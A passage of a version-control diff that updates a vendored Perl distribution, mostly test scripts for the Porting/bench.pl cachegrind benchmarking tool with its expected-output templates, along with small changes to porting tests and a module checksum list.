+    if (ref($expected)) {
+        like $out, $expected, $desc;
+    }
+    else {
+        is $out, $expected, $desc;
+    }
+}
+
+# ---------------------------------------------------
+# run benchmarks
+
+
+my $resultfile1 = tempfile(); # benchmark results for 1 perl
+my $resultfile2 = tempfile(); # benchmark results for 2 perls
+
+# Run a real cachegrind session and write results to file.
+# the -j 2 is to minimally exercise its parallel facility.
+
+note("running cachegrind for 1st perl; may be slow...");
+$out = qx($bench_cmd -j 2 --write=$resultfile1 --tests=call::sub::empty $^X=p0 2>&1);
+is $out, "", "--write should produce no output (1 perl)";
+ok -s $resultfile1, "--write should create a non-empty results file (1 perl)";
+
+# and again with 2 perls. This is also tests the 'mix read and new new
+# perls' functionality.
+
+note("running cachegrind for 2nd perl; may be slow...");
+$out = qx($bench_cmd -j 2 --read=$resultfile1 --write=$resultfile2 $^X=p1 2>&1);
+is $out, "", "--write should produce no output (2 perls)"
+    or diag("got: $out");
+ok -s $resultfile2, "--write should create a non-empty results file (2 perls)";
+
+# 1 perl:
+
+# read back the results in raw form
+
+$out = qx($bench_cmd --read=$resultfile1 --raw 2>&1);
+like $out, $format_qrs{raw1}, "basic cachegrind raw format; 1 perl";
+
+# and read back the results in raw compact form
+
+$out = qx($bench_cmd --read=$resultfile1 --raw --compact=0 2>&1);
+like $out, $format_qrs{raw_compact}, "basic cachegrind raw compact format; 1 perl";
+
+# and read back the results in raw average form
+
+$out = qx($bench_cmd --read=$resultfile1 --raw --average 2>&1);
+like $out, $format_qrs{raw_average1}, "basic cachegrind raw average format; 1 perl";
+
+# and read back the results with raw selected fields
+
+$out = qx($bench_cmd --read=$resultfile1 --raw --fields=Ir,Dr 2>&1);
+like $out, $format_qrs{fields1}, "basic cachegrind --fields; 1 perl";
+
+# 2 perls:
+
+# read back the results in relative-percent form
+
+$out = qx($bench_cmd --read=$resultfile2 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format; 2 perls";
+
+# read back the results in relative-percent form with norm
+
+$out = qx($bench_cmd --read=$resultfile2 --norm=0 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, norm; 2 perls";
+
+# ditto with negative norm
+
+$out = qx($bench_cmd --read=$resultfile2 --norm=-2 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, norm -2; 2 perls";
+
+# read back the results in relative-percent form with sort
+
+$out = qx($bench_cmd --read=$resultfile2 --sort=Ir:0 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, sort; 2 perls";
+
+# read back the results in relative-percent form with sort and norm
+
+$out = qx($bench_cmd --read=$resultfile2 --sort=Ir:0 --norm=0 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, sort, norm; 2 perls";
+
+# and read back the results in raw form
+
+$out = qx($bench_cmd --read=$resultfile2 --raw 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format; 2 perls";
+
+# and read back the results in raw form with norm
+
+$out = qx($bench_cmd --read=$resultfile2 --raw --norm=0 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format, norm; 2 perls";
+
+# and read back the results in raw form with sort
+
+$out = qx($bench_cmd --read=$resultfile2 --raw --sort=Ir:0 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format, sort, norm; 2 perls";
+
+# and read back the results in raw form with sort and norm
+
+$out = qx($bench_cmd --read=$resultfile2 --raw --sort=Ir:0 --norm=0 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format, sort, norm; 2 perls";
+
+# and read back the results in compact form
+
+$out = qx($bench_cmd --read=$resultfile2 --compact=1 2>&1);
+like $out, $format_qrs{compact}, "basic cachegrind compact format; 2 perls";
+
+# and read back the results in average form
+
+$out = qx($bench_cmd --read=$resultfile2 --average 2>&1);
+like $out, $format_qrs{average}, "basic cachegrind average format; 2 perls";
+
+# and read back the results with selected fields
+
+$out = qx($bench_cmd --read=$resultfile2 --fields=Ir,Dr 2>&1);
+like $out, $format_qrs{fields2}, "basic cachegrind --fields; 2 perls";
+
+# and read back the results in compact form with selected fields
+
+$out = qx($bench_cmd --read=$resultfile2 --compact=1  --fields=Ir,Dr 2>&1);
+like $out, $format_qrs{compact_fields}, "basic cachegrind compact, fields; 2 perls";
+
+# and read back the results with 1 selected fields (this is more compact)
+
+$out = qx($bench_cmd --read=$resultfile2 --fields=Ir 2>&1);
+like $out, $format_qrs{'1field'}, "basic cachegrind 1 field; 2 perls";
+
+
+# bisect
+
+# the Ir range here is intended such that the bisect will always fail
+$out = qx($bench_cmd --read=t/porting/bench/callsub.json --tests=call::sub::empty --bisect=Ir,100000,100001 2>&1);
+
+is $?, 1 << 8, "--bisect: exit result: should not match";
+like $out, qr/^Bisect: Ir had the value -?\d+\n/,
+        "--bisect: got expected output";
+
+# multiple reads with differing test sets but common --tests subset
+
+$out = qx($bench_cmd --read=t/porting/bench/callsub.json  --read=t/porting/bench/callsub2.json --tests=call::sub::empty 2>&1);
+$out =~ s{\Q./perl  perl2}{    p0     p1};
+$out =~ s{^\./perl}{p0}m;
+like $out, $format_qrs{percent2}, "2 reads; overlapping test sets";
+
+# A read defines what benchmarks to run
+
+note("running cachegrind on 1 perl; may be slow...");
+$out = qx($bench_cmd --read=t/porting/bench/callsub.json --tests=call::sub::empty $^X=p1 2>&1);
+$out =~ s{^\./perl}{p0}m;
+$out =~ s{\Q./perl}{    p0};
+like $out, $format_qrs{percent2}, "1 read; 1 generate";
+
+# Process environment and optional args.
+# This is a minimal test that it runs - it doesn't test whether
+# the environment and args are getting applied correctly, apart from the
+# fact that the perls in question are being successfully executed.
+#
+# Also check the --autolabel feature
+
+note("running cachegrind on 2 perls; may be slow...");
+$cmd = <<EOF;
+$bench_cmd
+    --read=t/porting/bench/callsub.json
+    --read=t/porting/bench/callsub2.json
+    --tests=call::sub::empty
+    --autolabel
+    --perlargs=-Ilib
+    $^X --args='-Ifoo/bar -Mstrict' --env='FOO=foo'
+    $^X --args='-Ifoo/bar'          --env='BAR=bar' --env='BAZ=baz'
+    2>&1
+EOF
+$cmd =~ s/\n\s+/ /g;
+$out = qx($cmd);
+$out =~ s{^\./perl}{p0}m;
+$out =~ s{\Q       ./perl  perl2    p-0    p-1}
+         {           p0     p1     p2     p3};
+like $out, $format_qrs{percent4}, "4 perls with autolabel and args and env";
+
+
+done_testing();
+
+
+# Templates for expected output formats.
+#
+# Lines starting with '#' are skipped.
+#
+# Lines of the form 'FORMAT: foo' start and name a new template
+#
+# All other lines are part of the template
+#
+# Entries of the form NNNN.NN are converted into a regex of the form
+#    ( \s* -? \d+\.\d\d | - )
+# i.e. it expects number with a fixed number of digits after the point,
+# or a '-'.
+#
+# Any runs of space chars (but not tab) are converted into ' +',
+# or ' *' if at the start of a line
+#
+# Entries of the form --- are converted into [-]+
+#
+# Lines of the form %%FOO%% are substituted with format 'FOO'
+
+
+__END__
+# ===================================================================
+FORMAT: STD_HEADER
+Key:
+    Ir   Instruction read
+    Dr   Data read
+    Dw   Data write
+    COND conditional branches
+    IND  indirect branches
+    _m   branch predict miss
+    _m1  level 1 cache miss
+    _mm  last cache (e.g. L3) miss
+    -    indeterminate percentage (e.g. 1/0)
+# ===================================================================
+FORMAT: percent2
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+call::sub::empty
+function call with no args or body
+
+           p0     p1
+       ------ ------
+    Ir 100.00 NNN.NN
+    Dr 100.00 NNN.NN
+    Dw 100.00 NNN.NN
+  COND 100.00 NNN.NN
+   IND 100.00 NNN.NN
+
+COND_m 100.00 NNN.NN
+ IND_m 100.00 NNN.NN
+
+ Ir_m1 100.00 NNN.NN
+ Dr_m1 100.00 NNN.NN
+ Dw_m1 100.00 NNN.NN
+
+ Ir_mm 100.00 NNN.NN
+ Dr_mm 100.00 NNN.NN
+ Dw_mm 100.00 NNN.NN
+# ===================================================================
+FORMAT: percent4
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+call::sub::empty
+function call with no args or body
+
+           p0     p1     p2     p3
+       ------ ------ ------ ------
+    Ir 100.00 NNN.NN NNN.NN NNN.NN
+    Dr 100.00 NNN.NN NNN.NN NNN.NN
+    Dw 100.00 NNN.NN NNN.NN NNN.NN
+  COND 100.00 NNN.NN NNN.NN NNN.NN
+   IND 100.00 NNN.NN NNN.NN NNN.NN
+
+COND_m 100.00 NNN.NN NNN.NN NNN.NN
+ IND_m 100.00 NNN.NN NNN.NN NNN.NN
+
+ Ir_m1 100.00 NNN.NN NNN.NN NNN.NN
+ Dr_m1 100.00 NNN.NN NNN.NN NNN.NN
+ Dw_m1 100.00 NNN.NN NNN.NN NNN.NN
+
+ Ir_mm 100.00 NNN.NN NNN.NN NNN.NN
+ Dr_mm 100.00 NNN.NN NNN.NN NNN.NN
+ Dw_mm 100.00 NNN.NN NNN.NN NNN.NN
+# ===================================================================
+FORMAT: fields2
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+call::sub::empty
+function call with no args or body
+
+           p0     p1
+       ------ ------
+    Ir 100.00 NNN.NN
+    Dr 100.00 NNN.NN
+# ===================================================================
+FORMAT: raw1
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+call::sub::empty
+function call with no args or body
+
+             p0
+       --------
+    Ir NNNNNN.N
+    Dr NNNNNN.N
+    Dw NNNNNN.N
+  COND NNNNNN.N
+   IND NNNNNN.N
+
+COND_m NNNNNN.N
+ IND_m NNNNNN.N
+
+ Ir_m1 NNNNNN.N
+ Dr_m1 NNNNNN.N
+ Dw_m1 NNNNNN.N
+
+ Ir_mm NNNNNN.N
+ Dr_mm NNNNNN.N
+ Dw_mm NNNNNN.N
+# ===================================================================
+FORMAT: raw_average1
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+AVERAGE
+
+             p0
+       --------
+    Ir NNNNNN.N
+    Dr NNNNNN.N
+    Dw NNNNNN.N
+  COND NNNNNN.N
+   IND NNNNNN.N
+
+COND_m NNNNNN.N
+ IND_m NNNNNN.N
+
+ Ir_m1 NNNNNN.N
+ Dr_m1 NNNNNN.N
+ Dw_m1 NNNNNN.N
+
+ Ir_mm NNNNNN.N
+ Dr_mm NNNNNN.N
+ Dw_mm NNNNNN.N
+# ===================================================================
+FORMAT: fields1
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+call::sub::empty
+function call with no args or body
+
+             p0
+       --------
+    Ir NNNNNN.N
+    Dr NNNNNN.N
+# ===================================================================
+FORMAT: raw2
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+call::sub::empty
+function call with no args or body
+
+             p0       p1
+       -------- --------
+    Ir NNNNNN.N NNNNNN.N
+    Dr NNNNNN.N NNNNNN.N
+    Dw NNNNNN.N NNNNNN.N
+  COND NNNNNN.N NNNNNN.N
+   IND NNNNNN.N NNNNNN.N
+
+COND_m NNNNNN.N NNNNNN.N
+ IND_m NNNNNN.N NNNNNN.N
+
+ Ir_m1 NNNNNN.N NNNNNN.N
+ Dr_m1 NNNNNN.N NNNNNN.N
+ Dw_m1 NNNNNN.N NNNNNN.N
+
+ Ir_mm NNNNNN.N NNNNNN.N
+ Dr_mm NNNNNN.N NNNNNN.N
+ Dw_mm NNNNNN.N NNNNNN.N
+# ===================================================================
+FORMAT: compact
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+Results for p1
+
+     Ir     Dr     Dw   COND    IND COND_m  IND_m  Ir_m1  Dr_m1  Dw_m1  Ir_mm  Dr_mm  Dw_mm
+ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------
+ NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN  call::sub::empty   function call with no args or body
+# ===================================================================
+FORMAT: compact_fields
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+Results for p1
+
+     Ir     Dr
+ ------ ------
+ NNN.NN NNN.NN  call::sub::empty   function call with no args or body
+# ===================================================================
+FORMAT: 1field
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+Results for field Ir
+
+                     p0     p1
+                 ------ ------
+call::sub::empty NNN.NN NNN.NN
+# ===================================================================
+FORMAT: average
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+AVERAGE
+
+           p0     p1
+       ------ ------
+    Ir 100.00 NNN.NN
+    Dr 100.00 NNN.NN
+    Dw 100.00 NNN.NN
+  COND 100.00 NNN.NN
+   IND 100.00 NNN.NN
+
+COND_m 100.00 NNN.NN
+ IND_m 100.00 NNN.NN
+
+ Ir_m1 100.00 NNN.NN
+ Dr_m1 100.00 NNN.NN
+ Dw_m1 100.00 NNN.NN
+
+ Ir_mm 100.00 NNN.NN
+ Dr_mm 100.00 NNN.NN
+ Dw_mm 100.00 NNN.NN
+# ===================================================================
+FORMAT: raw_compact
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+Results for p0
+
+      Ir      Dr      Dw    COND     IND  COND_m   IND_m   Ir_m1   Dr_m1   Dw_m1   Ir_mm   Dr_mm   Dw_mm
+  ------  ------  ------  ------  ------  ------  ------  ------  ------  ------  ------  ------  ------
+ NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N  call::sub::empty   function call with no args or body
+# ===================================================================

Added: vendor/perl/dist/t/porting/bench_selftest.t
===================================================================
--- vendor/perl/dist/t/porting/bench_selftest.t	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench_selftest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,10 @@
+#!./perl -w
+
+# run Porting/bench.pl's selftest
+
+use strict;
+
+chdir '..' if -f 'test.pl' && -f 'thread_it.pl';
+require './t/test.pl';
+
+system "$^X -I. -MTestInit Porting/bench.pl --action=selftest";

Modified: vendor/perl/dist/t/porting/cmp_version.t
===================================================================
--- vendor/perl/dist/t/porting/cmp_version.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/cmp_version.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,9 +9,17 @@
 # AND you should probably also nudge the upstream maintainer for
 # example by filing a bug, with a patch attached and linking to
 # the core change.
+#
+# This test script works by finding the last non-RC tagged commit,
+# which it assumes was the last release, then for each module:
+# if it has changed since that commit, but its version number is still the
+# same as that commit, report it.
+#
+# There's also a module exclusion list in Porting/cmpVERSION.pl.
 
 BEGIN {
     @INC = '..' if -f '../TestInit.pm';
+    @INC = '.'  if -f  './TestInit.pm';
 }
 use TestInit qw(T A); # T is chdir to the top level, A makes paths absolute
 use strict;

Modified: vendor/perl/dist/t/porting/corelist.t
===================================================================
--- vendor/perl/dist/t/porting/corelist.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/corelist.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,11 +8,10 @@
 
 require './t/test.pl';
 
-plan(tests => 6);
+plan(tests => 5);
 
 use_ok('Module::CoreList');
 use_ok('Module::CoreList::Utils');
-use_ok('Module::CoreList::TieHashDelta');
 
 {
   no warnings 'once';

Modified: vendor/perl/dist/t/porting/customized.dat
===================================================================
--- vendor/perl/dist/t/porting/customized.dat	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/customized.dat	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,83 +1,32 @@
+# Regenerate this file using:
+#     cd t
+#     ./perl -I../lib porting/customized.t --regen
+Devel::PPPort dist/Devel-PPPort/parts/embed.fnc e030719d9c6921810554a8e2d398543348b4878c
 Digest cpan/Digest/Digest.pm 43f7f544cb11842b2f55c73e28930da50774e081
-Encode cpan/Encode/Unicode/Unicode.pm 9749692c67f7d69083034de9184a93f070ab4799
-ExtUtils::Constant cpan/ExtUtils-Constant/t/Constant.t a0369c919e216fb02767a637666bb4577ad79b02
-File::Path cpan/File-Path/lib/File/Path.pm fd8ce4420a0c113d3f47dd3223859743655c1da8
-File::Path cpan/File-Path/t/Path_win32.t 94b9276557ce7f80b91f6fd9bfa7a0cd9bf9683e
-JSON::PP cpan/JSON-PP/bin/json_pp a7b8de6c201ef177ee82624ee4ca6a47cc1a3b4f
-JSON::PP cpan/JSON-PP/lib/JSON/PP.pm 86f697dae482106270fdd659b18c95a54af764ba
-JSON::PP cpan/JSON-PP/t/011_pc_expo.t e4c896d5f06ca380ddb6b4d6cd5714ea3003ada6
-JSON::PP cpan/JSON-PP/t/018_json_checker.t 6c3615e1a55f76b1635c62d3d36c5686a3ae8d30
+Encode cpan/Encode/t/truncated_utf8.t 36e6780c20f1d22ed7c97b1a388a63629617451f
 Locale::Maketext::Simple cpan/Locale-Maketext-Simple/lib/Locale/Maketext/Simple.pm 57ed38905791a17c150210cd6f42ead22a7707b6
 Math::Complex cpan/Math-Complex/lib/Math/Complex.pm 198ea6c6c584f5ea79a0fd7e9d411d0878f3b2af
 Math::Complex cpan/Math-Complex/t/Complex.t 4f307ed6fc59f1e5fb0e6b11103fc631b6bdb335
 Math::Complex cpan/Math-Complex/t/Trig.t 2682526e23a161d54732c2a66393fe4a234d1865
 Memoize cpan/Memoize/Memoize.pm 902092ff91cdec9c7b4bd06202eb179e1ce26ca2
+NEXT cpan/NEXT/lib/NEXT.pm 2c83d03ee361816e53ccb931137d314ab878d19f
+NEXT cpan/NEXT/t/next.t 66fd60eb0f75b6f3eea95d1dee745f9a7a348146
 Net::Ping dist/Net-Ping/t/000_load.t deff5dc2ca54dae28cb19d3631427db127279ac2
 Net::Ping dist/Net-Ping/t/001_new.t 90c9d63509b3efc8941449fbd1ca8b807fa42040
-Net::Ping dist/Net-Ping/t/010_pingecho.t fd91db2daf78a994bd0210ab32cca2a46dff4f44
 Net::Ping dist/Net-Ping/t/500_ping_icmp.t a003daa5eaf215e58234786bb1fbfbebf669bf44
 Pod::Checker cpan/Pod-Checker/t/pod/contains_bad_pod.xr 73538fd80dfe6e19ad561fe034009b44460208f6
 Pod::Checker cpan/Pod-Checker/t/pod/selfcheck.t 8ce3cfd38e4b9bcf5bc7fe7f2a14195e49aed7d8
 Pod::Checker cpan/Pod-Checker/t/pod/testcmp.pl a0cd5c8eca775c7753f4464eee96fa916e3d8a16
 Pod::Checker cpan/Pod-Checker/t/pod/testpchk.pl b2072c7f4379fd050e15424175d7cac5facf5b3b
-Scalar-List-Utils cpan/Scalar-List-Utils/lib/List/Util.pm 8cbd3463af838b4a39a7077bea3fe758a71f8ec3
-Scalar-List-Utils cpan/Scalar-List-Utils/lib/List/Util/XS.pm 2d09b84a5575e67834655a0e9b3569c83d9a3902
-Scalar-List-Utils cpan/Scalar-List-Utils/lib/Scalar/Util.pm 98af8fe390d9c9fa11a1fafebbc68ea663cdce2c
-Scalar-List-Utils cpan/Scalar-List-Utils/lib/Sub/Util.pm 188cf0dd95cd7ba60fd6a366f440811fb52c2c79
-Scalar-List-Utils cpan/Scalar-List-Utils/t/lln.t b7148c7f1cd9c70fd21d8153542b6d3de2b655ad
-Scalar-List-Utils cpan/Scalar-List-Utils/t/tainted.t 9c52e04687ec8a7d23a1c38a762723858305b1fe
-Scalar-List-Utils cpan/Scalar-List-Utils/t/uniq.t 5de01094d2bca9cf8b2bbbca920122f7396bf11e
-Socket cpan/Socket/Socket.pm 98e38176d745c38282907f391c077298f5a3d0ba
-Socket cpan/Socket/Socket.xs edd4fed212785f11c5c2095a75941dad27d586d9
-Test::Harness cpan/Test-Harness/bin/prove 9b2866928cb1125de2c68f9773b25723e02c54c0
-Test::Harness cpan/Test-Harness/lib/App/Prove.pm a312bbbc97860d5051f06056eb30b985b15ee57c
-Test::Harness cpan/Test-Harness/lib/App/Prove/State.pm f4f7d11878eae1fd81d9c3d82097ddfd43b679a1
-Test::Harness cpan/Test-Harness/lib/App/Prove/State/Result.pm 374f5be770e2709c744ddf77927b73ab0f644219
-Test::Harness cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm d3a2ef3916946e0880ffd00356b3ed0feb589029
-Test::Harness cpan/Test-Harness/lib/TAP/Base.pm 38c1bbc33e1e28919dd905ee7f416c2f1cd2014b
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/Base.pm 92783e20c15f982a25025c1fd7dc512071aa2671
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/Color.pm f4f02b5a4f8f11c0e9fa95d06e9bc8f14a172555
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/Console.pm 36fec1e9ca70e359cf1cf110cbdf86040686e635
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm 579df1507c22c5a6c8116943ba7b084dd557a2a3
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm 98f620cadecbe7529b62addf35e16be72b066bcf
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/File.pm 531f646edd5d5768a02728be5c3c1786df17a328
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm cb8b1dd0039381c41b11ba186ed25969fd33b654
-Test::Harness cpan/Test-Harness/lib/TAP/Formatter/Session.pm ce57cb909e8e9b1a8263939da1b4eac6ac5df6e5
-Test::Harness cpan/Test-Harness/lib/TAP/Harness.pm dbbeef74569163d00c8befccf9f2670bafa2dc2f
-Test::Harness cpan/Test-Harness/lib/TAP/Harness/Env.pm 7743d40504d23867fe5f6b3967f7c907c530074f
-Test::Harness cpan/Test-Harness/lib/TAP/Object.pm 19b27d7e30f6e69c3ffaec939418978ba7b0bc7c
-Test::Harness cpan/Test-Harness/lib/TAP/Parser.pm a97c90c41959194ad828511a2b5f6ad068fd2f23
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm bf32f2c834f5242af1db2b5f02419451e87c3b68
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Grammar.pm 2626f555bcf238e4c6a5a0e07eb016f38520d705
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Iterator.pm 6b2729f8883718683b0a2d7cd75d734501360e7b
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm c4ebe427ef24bfbcfcf74459cb74249bf84ec92a
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm 43c08c6ba2a2e599f503cfec086f8ac9b2b8a8f1
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm f28ccf211ebdb527b558a83d6969d96ba13414af
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm 561ba7be34786134f70b67e73e604de1c934f9bb
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm 7417eede2c1554b94dfbbbce5a90dc6e4d8bbbe6
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result.pm be74c62222a90404d2d6586f77a4f66bafee2879
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm 89a3c49f5b03501813b5a6133ca2ca3fa25f8648
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm e49dde84304dc1a034fd1a5c38f18bed99c1b4d4
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm cf334e85a8e77fe6f830744f70e4c9c1a24c36a5
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm b1587f903cc7937190789b1de8bdf20d6e30ff28
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm dff1422b7cc8ea0c24aedef020fc2266144eb1ea
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm 0959ff5602d340f92be31f01ee2f890028784a8d
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm 8491bba7a07568374cafd8fc40cb08d9b4458e9b
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm 7dc7b96d882dce5e20696305705f4f0e7462d8bc
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm 1f64e8390990ad99eea3d0fb202487ba973e9a2d
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm 471ea7d1db535364dd86ab106771c652742c0c05
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm 3d7ee9db8277b50fcebcf239898a8023791b8654
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm 1c04e88f45719f92961821d9ed65e80800986893
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/Source.pm c820d95e2a4797893eb717c07b72742e6e0a1542
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm b25f8e7d1a9f2215175618a989df39d78a878df5
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm 5f542b39c98ebe3ee6d906e38b8944abbac5188b
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm 6aa5762461cb06f3db57d13de0fc771d5563c871
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm edc91794e1fbefbbf8e919658fe7a5bbd7c84916
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm 809d6d6779c2aed829a9a087ecb219fbcc7fbfb5
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm d01e1e2a87733ab45f387e34803f821ed184e5cc
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm 76771092dd2b87a2adb7ff20b7ae77cbae7d0563
-Test::Harness cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm bf1fbfff9720330886651f183959a5db56daeea0
-Test::Harness cpan/Test-Harness/lib/Test/Harness.pm da2d76ba673372da129060c9d0adb8cf0d91f9f7
-Test::Simple cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t 59648b5745fda06177d81c2c21f55b09f6e129bb
+Pod::Perldoc cpan/Pod-Perldoc/lib/Pod/Perldoc.pm 582be34c077c9ff44d99914724a0cc2140bcd48c
+autodie cpan/autodie/lib/autodie/exception.pm b99e4e35a9ed36de94d54437888822ced4936207
+autodie cpan/autodie/lib/autodie/hints.pm e1998fec61fb4e82fe46585bd82c73200be6f262
+autodie cpan/autodie/t/exceptions.t ad315a208f875e06b0964012ce8d65daa438c036
+autodie cpan/autodie/t/lib/Hints_pod_examples.pm 6944c218e9754b3613c8d0c90a5ae8aceccb5c99
 autodie cpan/autodie/t/mkdir.t 9e70d2282a3cc7d76a78bf8144fccba20fb37dac
-version cpan/version/lib/version.pm a032a751524bdd07a93c945d2a1703abe7ad8ef0
+experimental cpan/experimental/t/basic.t a073ea03ccc98dec496569f3648ab01a5fe1c7a0
+perlfaq cpan/perlfaq/lib/perlfaq5.pod bcc1b6af3b6dff3973643acf8d5e741463374123
+perlfaq cpan/perlfaq/lib/perlfaq8.pod bffbc0c8fa828aead24e0891a5e789369a8e0743
+podlators pod/perlpodstyle.pod c6500c9950b46e8228d4adbc09a3ee2ef23de2d0
+version cpan/version/lib/version.pm a61f969d55dd73ae2d7a604f2c9bbef1ea82b820
+version vxs.inc f26c23f0279fb64c77ad814af906c04930cff81c

Modified: vendor/perl/dist/t/porting/customized.t
===================================================================
--- vendor/perl/dist/t/porting/customized.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/customized.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,6 +13,7 @@
     @INC = qw(lib Porting t);
     require 'test.pl';
     skip_all("pre-computed SHA1 won't match under EBCDIC") if $::IS_EBCDIC;
+    skip_all("This distro may have modified some files in cpan/. Skipping validation.") if $ENV{'PERL_BUILD_PACKAGING'};
 }
 
 use strict;
@@ -73,10 +74,16 @@
 
 if ( $regen ) {
   open $data_fh, '>:raw', $customised or die "Can't open $customised";
+  print $data_fh <<'#';
+# Regenerate this file using:
+#     cd t
+#     ./perl -I../lib porting/customized.t --regen
+#
 }
 else {
   open $data_fh, '<:raw', $customised or die "Can't open $customised";
   while (<$data_fh>) {
+    next if /^#/;
     chomp;
     my ($module,$file,$sha) = split ' ';
     $customised{ $module }->{ $file } = $sha;

Modified: vendor/perl/dist/t/porting/diag.t
===================================================================
--- vendor/perl/dist/t/porting/diag.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/diag.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -49,7 +49,7 @@
    "(?<routine>\\bDIE\\b|$function_re)";
 my $text_re = '"(?<text>(?:\\\\"|[^"]|"\s*[A-Z_]+\s*")*)"';
 my $source_msg_call_re = qr/$source_msg_re(?:_nocontext)? \s*
-    \((?:aTHX_)? \s*
+    \( (?: \s* Perl_form \( )? (?:aTHX_)? \s*
     (?:packWARN\d*\((?<category>.*?)\),)? \s*
     $text_re /x;
 my $bad_version_re = qr{BADVERSION\([^"]*$text_re};
@@ -305,6 +305,8 @@
